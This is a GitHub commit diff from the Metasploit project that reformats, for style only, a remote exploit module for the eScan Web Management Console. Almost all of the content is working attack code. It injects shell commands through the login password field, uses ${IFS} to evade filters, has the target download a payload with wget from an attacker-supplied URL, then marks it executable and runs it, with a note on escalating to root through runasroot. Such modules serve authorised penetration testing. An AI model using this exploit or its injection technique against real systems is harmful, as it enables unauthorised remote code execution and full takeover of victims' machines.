Skip to content

Commit d12b6fe

Browse files
authored
Merge pull request #20163 from bcoles/rubocop-modules-exploits-linux-antivirus
modules/exploits/linux/antivirus: Resolve RuboCop violations
2 parents 97e20e2 + 16ae7af commit d12b6fe

File tree

1 file changed

+50
-44
lines changed

1 file changed

+50
-44
lines changed

modules/exploits/linux/antivirus/escan_password_exec.rb

Lines changed: 50 additions & 44 deletions
Original file line numberDiff line numberDiff line change
@@ -11,41 +11,46 @@ class MetasploitModule < Msf::Exploit::Remote
1111
include Msf::Exploit::EXE
1212
include Msf::Exploit::FileDropper
1313

14-
def initialize(info={})
15-
super(update_info(info,
16-
'Name' => "eScan Web Management Console Command Injection",
17-
'Description' => %q{
18-
This module exploits a command injection vulnerability found in the eScan Web Management
19-
Console. The vulnerability exists while processing CheckPass login requests. An attacker
20-
with a valid username can use a malformed password to execute arbitrary commands. With
21-
mwconf privileges, the runasroot utility can be abused to get root privileges. This module
22-
has been tested successfully on eScan 5.5-2 on Ubuntu 12.04.
23-
},
24-
'License' => MSF_LICENSE,
25-
'Author' =>
26-
[
14+
def initialize(info = {})
15+
super(
16+
update_info(
17+
info,
18+
'Name' => 'eScan Web Management Console Command Injection',
19+
'Description' => %q{
20+
This module exploits a command injection vulnerability found in the eScan Web Management
21+
Console. The vulnerability exists while processing CheckPass login requests. An attacker
22+
with a valid username can use a malformed password to execute arbitrary commands. With
23+
mwconf privileges, the runasroot utility can be abused to get root privileges. This module
24+
has been tested successfully on eScan 5.5-2 on Ubuntu 12.04.
25+
},
26+
'License' => MSF_LICENSE,
27+
'Author' => [
2728
'Joxean Koret', # Vulnerability Discovery and PoC
2829
'juan vazquez' # Metasploit module
2930
],
30-
'References' =>
31-
[
31+
'References' => [
3232
[ 'URL', 'http://www.joxeankoret.com/download/breaking_av_software-pdf.tar.gz' ] # Syscan slides by Joxean
3333
],
34-
'Payload' =>
35-
{
36-
'BadChars' => "", # Real bad chars when injecting: "|&)(!><'\"` ", cause of it we're avoiding ARCH_CMD
34+
'Payload' => {
35+
'BadChars' => '', # Real bad chars when injecting: "|&)(!><'\"` ", cause of it we're avoiding ARCH_CMD
3736
'DisableNops' => true
3837
},
39-
'Arch' => ARCH_X86,
40-
'Platform' => 'linux',
41-
'Privileged' => true,
42-
'Stance' => Msf::Exploit::Stance::Aggressive,
43-
'Targets' =>
44-
[
38+
'Arch' => ARCH_X86,
39+
'Platform' => 'linux',
40+
'Privileged' => true,
41+
'Stance' => Msf::Exploit::Stance::Aggressive,
42+
'Targets' => [
4543
['eScan 5.5-2 / Linux', {}],
4644
],
47-
'DisclosureDate' => '2014-04-04',
48-
'DefaultTarget' => 0))
45+
'DisclosureDate' => '2014-04-04',
46+
'DefaultTarget' => 0,
47+
'Notes' => {
48+
'Stability' => [CRASH_SAFE],
49+
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
50+
'Reliability' => [REPEATABLE_SESSION]
51+
}
52+
)
53+
)
4954

5055
register_options(
5156
[
@@ -56,17 +61,17 @@ def initialize(info={})
5661
OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]),
5762
OptString.new('WRITABLEDIR', [ true, 'A directory where we can write files', '/tmp' ]),
5863
OptString.new('RUNASROOT', [ true, 'Path to the runasroot binary', '/opt/MicroWorld/sbin/runasroot' ]),
59-
])
64+
]
65+
)
6066
end
6167

62-
6368
def check
6469
res = send_request_cgi({
6570
'method' => 'GET',
66-
'uri' => normalize_uri(target_uri.path.to_s, 'index.php')
71+
'uri' => normalize_uri(target_uri.path.to_s, 'index.php')
6772
})
6873

69-
if res and res.code == 200 and res.body =~ /eScan WebAdmin/
74+
if res && (res.code == 200) && res.body =~ (/eScan WebAdmin/)
7075
return Exploit::CheckCode::Detected
7176
end
7277

@@ -76,12 +81,13 @@ def check
7681
def cmd_exec(session, cmd)
7782
case session.type
7883
when /meterpreter/
79-
print_warning("Use a shell payload in order to get root!")
84+
print_warning('Use a shell payload in order to get root!')
8085
when /shell/
8186
o = session.shell_command_token(cmd)
8287
o.chomp! if o
8388
end
84-
return "" if o.nil?
89+
return '' if o.nil?
90+
8591
return o
8692
end
8793

@@ -100,7 +106,7 @@ def primer
100106
def on_request_uri(cli, request)
101107
print_status("Request: #{request.uri}")
102108
if request.uri =~ /#{Regexp.escape(get_resource)}/
103-
print_status("Sending payload...")
109+
print_status('Sending payload...')
104110
send_response(cli, @pl)
105111
end
106112
end
@@ -110,30 +116,30 @@ def autofilter
110116
end
111117

112118
def exploit
113-
@pl = generate_payload_exe
119+
@pl = generate_payload_exe
114120

115-
@payload_url = ""
121+
@payload_url = ''
116122

117123
if datastore['EXTURL'].blank?
118124
begin
119-
Timeout.timeout(datastore['HTTPDELAY']) {super}
120-
rescue Timeout::Error
125+
Timeout.timeout(datastore['HTTPDELAY']) { super }
126+
rescue Timeout::Error => e
127+
vprint_error(e.message)
121128
end
122-
exec_payload
123129
else
124130
@payload_url = datastore['EXTURL']
125131
wget_payload
126-
exec_payload
127132
end
133+
exec_payload
128134
end
129135

130136
# we execute in this way, instead of an ARCH_CMD
131137
# payload because real badchars are: |&)(!><'"`[space]
132138
def wget_payload
133-
@dropped_elf = rand_text_alpha(rand(5) + 3)
139+
@dropped_elf = rand_text_alpha(rand(3..7))
134140
command = "wget${IFS}#{@payload_url}${IFS}-O${IFS}#{File.join(datastore['WRITABLEDIR'], @dropped_elf)}"
135141

136-
print_status("Downloading the payload to the target machine...")
142+
print_status('Downloading the payload to the target machine...')
137143
res = exec_command(command)
138144
if res && res.code == 302 && res.headers['Location'] && res.headers['Location'] =~ /index\.php\?err_msg=password/
139145
register_files_for_cleanup(File.join(datastore['WRITABLEDIR'], @dropped_elf))
@@ -146,14 +152,14 @@ def exec_payload
146152
command = "chmod${IFS}777${IFS}#{File.join(datastore['WRITABLEDIR'], @dropped_elf)};"
147153
command << File.join(datastore['WRITABLEDIR'], @dropped_elf)
148154

149-
print_status("Executing the payload...")
155+
print_status('Executing the payload...')
150156
exec_command(command, 1)
151157
end
152158

153-
def exec_command(command, timeout=20)
159+
def exec_command(command, timeout = 20)
154160
send_request_cgi({
155161
'method' => 'POST',
156-
'uri' => normalize_uri(target_uri.path.to_s, 'login.php'),
162+
'uri' => normalize_uri(target_uri.path.to_s, 'login.php'),
157163
'vars_post' => {
158164
'uname' => datastore['USERNAME'],
159165
'pass' => ";#{command}",

0 commit comments

Comments
 (0)